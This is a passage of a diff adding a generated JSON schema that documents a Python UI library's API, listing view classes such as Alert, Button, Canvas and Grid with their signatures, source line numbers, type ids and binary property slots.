"return_type": "None", + "signature": "def preload() -> None: \"\"\"Pre-initialize the native bridge to reduce first-run latency.\"\"\" ..." + }, + "presentation_dismiss": { + "line": 2043, + "return_type": "bool", + "signature": "def presentation_dismiss(field_name: str, *, state: Optional[Union[State, ReactiveState]] = None) -> bool: \"\"\"Dismiss a registered presentation by its ``show_*`` state field.\"\"\" ..." + }, + "presentation_dismiss_all": { + "line": 2047, + "return_type": "bool", + "signature": "def presentation_dismiss_all(*, state: Optional[Union[State, ReactiveState]] = None) -> bool: \"\"\"Dismiss every currently presented registered slot (alias: ``dismiss_all``).\"\"\" ..." + }, + "presentation_present": { + "line": 2039, + "return_type": "bool", + "signature": "def presentation_present(field_name: str, *, state: Optional[Union[State, ReactiveState]] = None, value: bool = True) -> bool: \"\"\"Present a registered sheet/alert by its ``show_*`` state field.\"\"\" ..." + }, + "run": { + "line": 2020, + "return_type": "None", + "signature": "def run(body_func: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None, state: Optional[Union[State, ReactiveState]] = None, hot_reload: bool = False, presentation: str = 'sheet', body: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None) -> None: \"\"\"Start the UI event loop. Args: body_func: A function that returns the root ``View`` tree. It may be declared as ``body()`` or ``body(state)``. state: Optional ``State`` or ``ReactiveState`` for automatic rebuild on change. hot_reload: Watch the source file and auto-reload on save. presentation: ``'sheet'``, ``'fullscreen'``, ``'fullscreen_with_close'``. \"\"\" ..." + }, + "set_custom_prop": { + "line": 2077, + "return_type": "None", + "signature": "def set_custom_prop(view_or_handle: Any, prop_name: str, value: Any) -> None: \"\"\"Push an arbitrary property via Aurora binary UPDATE_PROPS. Falls back to full JSON rebuild if Aurora is inactive.\"\"\" ..." + } + }, + "schema": "pythonide.appui.api.v1", + "sources": [ + "pyboot/appui_schema.py", + "pyboot/appui.pyi", + "pythonide/Integrations/AppUIRenderer/AppUISchemaRegistry.generated.swift" + ], + "status": "public", + "version": 1, + "views": { + "Alert": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "alert", + "call_signature": "Alert(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None)", + "class_signature": "class Alert(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None) -> None: ...", + "line": 1727, + "methods": { + "__init__": { + "line": 1729, + "return_type": "None", + "signature": "def __init__(self, title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "Alert", + "semantic_domain": "presentation", + "source_file": "pyboot/appui.pyi", + "type_id": 19506033 + }, + "AsyncImage": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "async_image", + "call_signature": "AsyncImage(url: str = '', placeholder: Optional[View] = None, error_view: Optional[View] = None, content_mode: str = 'fit', on_success: Optional[Callable] = None, on_failure: Optional[Callable] = None)", + "class_signature": "class AsyncImage(View):", + "domain": "media", + "initializer_signature": "def __init__(self, url: str = '', placeholder: Optional[View] = None, error_view: Optional[View] = None, content_mode: str = 'fit', on_success: Optional[Callable] = None, on_failure: Optional[Callable] = None) -> None: ...", + "line": 1134, + "methods": { + "__init__": { + "line": 1142, + "return_type": "None", + "signature": "def __init__(self, url: str = '', placeholder: Optional[View] = None, error_view: Optional[View] = None, content_mode: str = 'fit', on_success: Optional[Callable] = None, on_failure: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "AsyncImage", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 269332422 + }, + "AttributedText": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "attributed_text", + "call_signature": "AttributedText(spans: Optional[Sequence[Dict[str, Any]]] = None)", + "class_signature": "class AttributedText(View):", + "domain": "text", + "initializer_signature": "def __init__(self, spans: Optional[Sequence[Dict[str, Any]]] = None) -> None: ...", + "line": 1087, + "methods": { + "__init__": { + "line": 1097, + "return_type": "None", + "signature": "def __init__(self, spans: Optional[Sequence[Dict[str, Any]]] = None) -> None: ..." + } + }, + "public_name": "AttributedText", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 456374137 + }, + "Badge": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "badge", + "call_signature": "Badge(count: Optional[int] = None, text: Optional[str] = None)", + "class_signature": "class Badge(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, count: Optional[int] = None, text: Optional[str] = None) -> None: ...", + "line": 1714, + "methods": { + "__init__": { + "line": 1716, + "return_type": "None", + "signature": "def __init__(self, count: Optional[int] = None, text: Optional[str] = None) -> None: ..." + } + }, + "public_name": "Badge", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1747234221 + }, + "Button": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "button", + "call_signature": "Button(title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, role: Optional[str] = None, content: Optional[ViewChild] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)", + "class_signature": "class Button(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, role: Optional[str] = None, content: Optional[ViewChild] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ...", + "line": 1152, + "methods": { + "__init__": { + "line": 1167, + "return_type": "None", + "signature": "def __init__(self, title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, role: Optional[str] = None, content: Optional[ViewChild] = None, system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ..." + } + }, + "public_name": "Button", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 1911671636 + }, + "CameraPicker": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "camera_picker", + "call_signature": "CameraPicker(source: str = 'camera', media_type: str = 'photo', on_captured: Optional[Callable] = None, label: Optional[View] = None, mediaType: Optional[str] = None, onCaptured: Optional[Callable] = None, **kwargs: Any)", + "class_signature": "class CameraPicker(View):", + "domain": "media", + "initializer_signature": "def __init__(self, source: str = 'camera', media_type: str = 'photo', on_captured: Optional[Callable] = None, label: Optional[View] = None, mediaType: Optional[str] = None, onCaptured: Optional[Callable] = None, **kwargs: Any) -> None: ...", + "line": 1391, + "methods": { + "__init__": { + "line": 1397, + "return_type": "None", + "signature": "def __init__(self, source: str = 'camera', media_type: str = 'photo', on_captured: Optional[Callable] = None, label: Optional[View] = None, mediaType: Optional[str] = None, onCaptured: Optional[Callable] = None, **kwargs: Any) -> None: ..." + } + }, + "public_name": "CameraPicker", + "semantic_domain": "media_picker", + "source_file": "pyboot/appui.pyi", + "type_id": 816459499 + }, + "Canvas": { + "aurora_slots": [ + { + "attr": "_commands", + "name": "commands", + "prop_id": 2816, + "python_descriptor": false, + "value_type": "json" + } + ], + "auto_register": true, + "bridge_type": "canvas", + "call_signature": "Canvas(width: float = 300, height: float = 300, commands: Optional[Sequence[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None)", + "class_signature": "class Canvas(View):", + "domain": "drawing", + "initializer_signature": "def __init__(self, width: float = 300, height: float = 300, commands: Optional[Sequence[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None) -> None: ...", + "line": 1927, + "methods": { + "__init__": { + "line": 1929, + "return_type": "None", + "signature": "def __init__(self, width: float = 300, height: float = 300, commands: Optional[Sequence[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None) -> None: ..." + }, + "aurora_set_commands": { + "line": 1932, + "return_type": "None", + "signature": "def aurora_set_commands(self, commands: Optional[Sequence[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None) -> None: \"\"\"Update canvas draw commands via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Canvas", + "semantic_domain": "drawing", + "source_file": "pyboot/appui.pyi", + "type_id": 1852312433 + }, + "Capsule": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "capsule", + "call_signature": "Capsule()", + "class_signature": "class Capsule(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self) -> None: ...", + "line": 1977, + "methods": { + "__init__": { + "line": 1979, + "return_type": "None", + "signature": "def __init__(self) -> None: ..." + } + }, + "public_name": "Capsule", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1993183000 + }, + "Chart": { + "aurora_slots": [ + { + "attr": "_data", + "name": "data", + "prop_id": 2560, + "python_descriptor": false, + "value_type": "json" + } + ], + "auto_register": true, + "bridge_type": "chart", + "call_signature": "Chart(data: Optional[Sequence[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', type: str = 'bar', color: Optional[ColorLike] = None, series: Optional[str] = None)", + "class_signature": "class Chart(View):", + "domain": "media", + "initializer_signature": "def __init__(self, data: Optional[Sequence[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', type: str = 'bar', color: Optional[ColorLike] = None, series: Optional[str] = None) -> None: ...", + "line": 1858, + "methods": { + "__init__": { + "line": 1866, + "return_type": "None", + "signature": "def __init__(self, data: Optional[Sequence[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', type: str = 'bar', color: Optional[ColorLike] = None, series: Optional[str] = None) -> None: ..." + }, + "aurora_set_data": { + "line": 1869, + "return_type": "None", + "signature": "def aurora_set_data(self, data: Sequence[Dict[str, Any]]) -> None: \"\"\"Update chart data via Aurora binary fast-path (avoids full rebuild).\"\"\" ..." + } + }, + "public_name": "Chart", + "semantic_domain": "chart", + "source_file": "pyboot/appui.pyi", + "type_id": 1937952666 + }, + "Circle": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "circle", + "call_signature": "Circle()", + "class_signature": "class Circle(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self) -> None: ...", + "line": 1973, + "methods": { + "__init__": { + "line": 1975, + "return_type": "None", + "signature": "def __init__(self) -> None: ..." + } + }, + "public_name": "Circle", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 524288528 + }, + "CloseButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "close_button", + "call_signature": "CloseButton(title: str = '', system_image: str = 'xmark', systemImage: Optional[str] = None)", + "class_signature": "class CloseButton(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', system_image: str = 'xmark', systemImage: Optional[str] = None) -> None: ...", + "line": 1172, + "methods": { + "__init__": { + "line": 1179, + "return_type": "None", + "signature": "def __init__(self, title: str = '', system_image: str = 'xmark', systemImage: Optional[str] = None) -> None: ..." + } + }, + "public_name": "CloseButton", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 1407534314 + }, + "Color": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "color", + "call_signature": "Color(value: Optional[ColorLike] = None, red: Optional[float] = None, green: Optional[float] = None, blue: Optional[float] = None, opacity: float = 1.0)", + "class_signature": "class Color(View):", + "domain": "shape", + "initializer_signature": "def __init__(self, value: Optional[ColorLike] = None, red: Optional[float] = None, green: Optional[float] = None, blue: Optional[float] = None, opacity: float = 1.0) -> None: ...", + "line": 1985, + "methods": { + "__init__": { + "line": 1993, + "return_type": "None", + "signature": "def __init__(self, value: Optional[ColorLike] = None, red: Optional[float] = None, green: Optional[float] = None, blue: Optional[float] = None, opacity: float = 1.0) -> None: ..." + } + }, + "public_name": "Color", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1887612249 + }, + "ColorPicker": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "color_picker", + "call_signature": "ColorPicker(label: str = '', selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class ColorPicker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1325, + "methods": { + "__init__": { + "line": 1327, + "return_type": "None", + "signature": "def __init__(self, label: str = '', selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "ColorPicker", + "semantic_domain": "color_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1122956802 + }, + "ConfirmationDialog": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "confirmation_dialog", + "call_signature": "ConfirmationDialog(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None)", + "class_signature": "class ConfirmationDialog(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None) -> None: ...", + "line": 1733, + "methods": { + "__init__": { + "line": 1735, + "return_type": "None", + "signature": "def __init__(self, title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[Sequence[View]] = None, isPresented: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "ConfirmationDialog", + "semantic_domain": "presentation", + "source_file": "pyboot/appui.pyi", + "type_id": 1872071994 + }, + "ContentUnavailableView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "content_unavailable_view", + "call_signature": "ContentUnavailableView(title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None)", + "class_signature": "class ContentUnavailableView(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None) -> None: ...", + "line": 1682, + "methods": { + "__init__": { + "line": 1684, + "return_type": "None", + "signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None) -> None: ..." + } + }, + "public_name": "ContentUnavailableView", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1188396693 + }, + "ControlGroup": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "control_group", + "call_signature": "ControlGroup(label: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None)", + "class_signature": "class ControlGroup(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None) -> None: ...", + "line": 1677, + "methods": { + "__init__": { + "line": 1679, + "return_type": "None", + "signature": "def __init__(self, label: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None) -> None: ..." + } + }, + "public_name": "ControlGroup", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 113131014 + }, + "DatePicker": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "date_picker", + "call_signature": "DatePicker(label: str = '', selection: Optional[str] = None, components: str = 'date', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class DatePicker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', selection: Optional[str] = None, components: str = 'date', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1311, + "methods": { + "__init__": { + "line": 1316, + "return_type": "None", + "signature": "def __init__(self, label: str = '', selection: Optional[str] = None, components: str = 'date', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "DatePicker", + "semantic_domain": "date_input", + "source_file": "pyboot/appui.pyi", + "type_id": 733004853 + }, + "DisclosureGroup": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "disclosure_group", + "call_signature": "DisclosureGroup(label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None)", + "class_signature": "class DisclosureGroup(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None) -> None: ...", + "line": 1658, + "methods": { + "__init__": { + "line": 1660, + "return_type": "None", + "signature": "def __init__(self, label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None) -> None: ..." + } + }, + "public_name": "DisclosureGroup", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 369879553 + }, + "Divider": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "divider", + "call_signature": "Divider()", + "class_signature": "class Divider(View):", + "domain": "layout", + "initializer_signature": null, + "line": 1489, + "methods": {}, + "public_name": "Divider", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 539526761 + }, + "EditButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "edit_button", + "call_signature": "EditButton()", + "class_signature": "class EditButton(View):", + "domain": "control", + "initializer_signature": null, + "line": 1368, + "methods": {}, + "public_name": "EditButton", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1054712479 + }, + "Ellipse": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "ellipse", + "call_signature": "Ellipse()", + "class_signature": "class Ellipse(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self) -> None: ...", + "line": 1981, + "methods": { + "__init__": { + "line": 1983, + "return_type": "None", + "signature": "def __init__(self) -> None: ..." + } + }, + "public_name": "Ellipse", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 2024188145 + }, + "FileImporter": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "file_importer", + "call_signature": "FileImporter(allowed_types: Optional[Union[str, Sequence[str]]] = None, allows_multiple: bool = False, copy: bool = True, on_picked: Optional[Callable] = None, label: Optional[View] = None, allowedTypes: Optional[Union[str, Sequence[str]]] = None, allowsMultiple: Optional[bool] = None, onPicked: Optional[Callable] = None, **kwargs: Any)", + "class_signature": "class FileImporter(View):", + "domain": "media", + "initializer_signature": "def __init__(self, allowed_types: Optional[Union[str, Sequence[str]]] = None, allows_multiple: bool = False, copy: bool = True, on_picked: Optional[Callable] = None, label: Optional[View] = None, allowedTypes: Optional[Union[str, Sequence[str]]] = None, allowsMultiple: Optional[bool] = None, onPicked: Optional[Callable] = None, **kwargs: Any) -> None: ...", + "line": 1404, + "methods": { + "__init__": { + "line": 1412, + "return_type": "None", + "signature": "def __init__(self, allowed_types: Optional[Union[str, Sequence[str]]] = None, allows_multiple: bool = False, copy: bool = True, on_picked: Optional[Callable] = None, label: Optional[View] = None, allowedTypes: Optional[Union[str, Sequence[str]]] = None, allowsMultiple: Optional[bool] = None, onPicked: Optional[Callable] = None, **kwargs: Any) -> None: ..." + } + }, + "public_name": "FileImporter", + "semantic_domain": "file_importer", + "source_file": "pyboot/appui.pyi", + "type_id": 88072171 + }, + "ForEach": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "for_each", + "call_signature": "ForEach(data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None)", + "class_signature": "class ForEach(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None) -> None: ...", + "line": 1620, + "methods": { + "__init__": { + "line": 1633, + "return_type": "None", + "signature": "def __init__(self, data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "ForEach", + "semantic_domain": "list", + "source_file": "pyboot/appui.pyi", + "type_id": 1565271619 + }, + "Form": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "form", + "call_signature": "Form(content: Optional[Sequence[View]] = None)", + "class_signature": "class Form(_ContainerView):", + "domain": "collection", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None) -> None: ...", + "line": 1638, + "methods": { + "__init__": { + "line": 1640, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None) -> None: ..." + } + }, + "public_name": "Form", + "semantic_domain": "form", + "source_file": "pyboot/appui.pyi", + "type_id": 264618757 + }, + "Gauge": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "gauge", + "call_signature": "Gauge(value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None)", + "class_signature": "class Gauge(View):", + "domain": "feedback", + "initializer_signature": "def __init__(self, value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None) -> None: ...", + "line": 1703, + "methods": { + "__init__": { + "line": 1705, + "return_type": "None", + "signature": "def __init__(self, value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None) -> None: ..." + } + }, + "public_name": "Gauge", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1025567642 + }, + "GeometryReader": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "geometry_reader", + "call_signature": "GeometryReader(content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, children: Optional[ViewChild] = None, on_geometry: Optional[Callable] = None, onGeometry: Optional[Callable] = None)", + "class_signature": "class GeometryReader(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, children: Optional[ViewChild] = None, on_geometry: Optional[Callable] = None, onGeometry: Optional[Callable] = None) -> None: ...", + "line": 1521, + "methods": { + "__init__": { + "line": 1525, + "return_type": "None", + "signature": "def __init__(self, content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, children: Optional[ViewChild] = None, on_geometry: Optional[Callable] = None, onGeometry: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "GeometryReader", + "semantic_domain": "geometry", + "source_file": "pyboot/appui.pyi", + "type_id": 1929343259 + }, + "Grid": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "grid", + "call_signature": "Grid(content: Optional[Sequence[View]] = None, alignment: str = 'center', horizontal_spacing: Optional[float] = None, vertical_spacing: Optional[float] = None, horizontalSpacing: Optional[float] = None, verticalSpacing: Optional[float] = None)", + "class_signature": "class Grid(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', horizontal_spacing: Optional[float] = None, vertical_spacing: Optional[float] = None, horizontalSpacing: Optional[float] = None, verticalSpacing: Optional[float] = None) -> None: ...", + "line": 1508, + "methods": { + "__init__": { + "line": 1510, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', horizontal_spacing: Optional[float] = None, vertical_spacing: Optional[float] = None, horizontalSpacing: Optional[float] = None, verticalSpacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "Grid", + "semantic_domain": "grid", + "source_file": "pyboot/appui.pyi", + "type_id": 1936582525 + }, + "GridRow": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "grid_row", + "call_signature": "GridRow(content: Optional[Sequence[View]] = None, alignment: Optional[str] = None)", + "class_signature": "class GridRow(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: Optional[str] = None) -> None: ...", + "line": 1516, + "methods": { + "__init__": { + "line": 1518, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: Optional[str] = None) -> None: ..." + } + }, + "public_name": "GridRow", + "semantic_domain": "grid", + "source_file": "pyboot/appui.pyi", + "type_id": 138733321 + }, + "Group": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "group", + "call_signature": "Group(content: Optional[Sequence[View]] = None)", + "class_signature": "class Group(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None) -> None: ...", + "line": 1535, + "methods": { + "__init__": { + "line": 1537, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None) -> None: ..." + } + }, + "public_name": "Group", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 2064949621 + }, + "GroupBox": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "group_box", + "call_signature": "GroupBox(label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[Sequence[View]] = None)", + "class_signature": "class GroupBox(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[Sequence[View]] = None) -> None: ...", + "line": 1653, + "methods": { + "__init__": { + "line": 1655, + "return_type": "None", + "signature": "def __init__(self, label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[Sequence[View]] = None) -> None: ..." + } + }, + "public_name": "GroupBox", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1163447032 + }, + "HStack": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "hstack", + "call_signature": "HStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)", + "class_signature": "class HStack(_ContainerView):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ...", + "line": 1443, + "methods": { + "__init__": { + "line": 1445, + "return_type": "None", + "signature": "def __init__(self, content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "HStack", + "semantic_domain": "stack", + "source_file": "pyboot/appui.pyi", + "type_id": 421054346 + }, + "Image": { + "aurora_slots": [ + { + "attr": "_system_name", + "name": "system_name", + "prop_id": 1536, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "image", + "call_signature": "Image(name: Optional[str] = None, system_name: Optional[str] = None, systemName: Optional[str] = None)", + "class_signature": "class Image(View):", + "domain": "media", + "initializer_signature": "def __init__(self, name: Optional[str] = None, system_name: Optional[str] = None, systemName: Optional[str] = None) -> None: ...", + "line": 1104, + "methods": { + "__init__": { + "line": 1111, + "return_type": "None", + "signature": "def __init__(self, name: Optional[str] = None, system_name: Optional[str] = None, systemName: Optional[str] = None) -> None: ..." + }, + "aurora_set_system_name": { + "line": 1113, + "return_type": "None", + "signature": "def aurora_set_system_name(self, system_name: Optional[str]) -> None: \"\"\"Update a system-symbol image via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Image", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1407836655 + }, + "InlinePickerStyle": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "inline_picker", + "call_signature": "InlinePickerStyle(options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class InlinePickerStyle(View):", + "domain": "control", + "initializer_signature": "def __init__(self, options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1299, + "methods": { + "__init__": { + "line": 1301, + "return_type": "None", + "signature": "def __init__(self, options: Optional[Sequence[str]] = None, selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "InlinePickerStyle", + "semantic_domain": "selection", + "source_file": "pyboot/appui.pyi", + "type_id": 1835882349 + }, + "Label": { + "aurora_slots": [ + { + "attr": "_title", + "name": "title", + "prop_id": 2304, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "label", + "call_signature": "Label(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None)", + "class_signature": "class Label(View):", + "domain": "text", + "initializer_signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ...", + "line": 1073, + "methods": { + "__init__": { + "line": 1081, + "return_type": "None", + "signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, systemImage: Optional[str] = None) -> None: ..." + }, + "aurora_set_title": { + "line": 1083, + "return_type": "None", + "signature": "def aurora_set_title(self, title: str) -> None: \"\"\"Update label title text via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Label", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 410236248 + }, + "LabeledContent": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "labeled_content", + "call_signature": "LabeledContent(label: str = '', value: Optional[str] = None, content: Optional[View] = None)", + "class_signature": "class LabeledContent(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, label: str = '', value: Optional[str] = None, content: Optional[View] = None) -> None: ...", + "line": 1665, + "methods": { + "__init__": { + "line": 1667, + "return_type": "None", + "signature": "def __init__(self, label: str = '', value: Optional[str] = None, content: Optional[View] = None) -> None: ..." + } + }, + "public_name": "LabeledContent", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1823249425 + }, + "LazyHGrid": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "lazy_hgrid", + "call_signature": "LazyHGrid(rows: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None)", + "class_signature": "class LazyHGrid(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, rows: 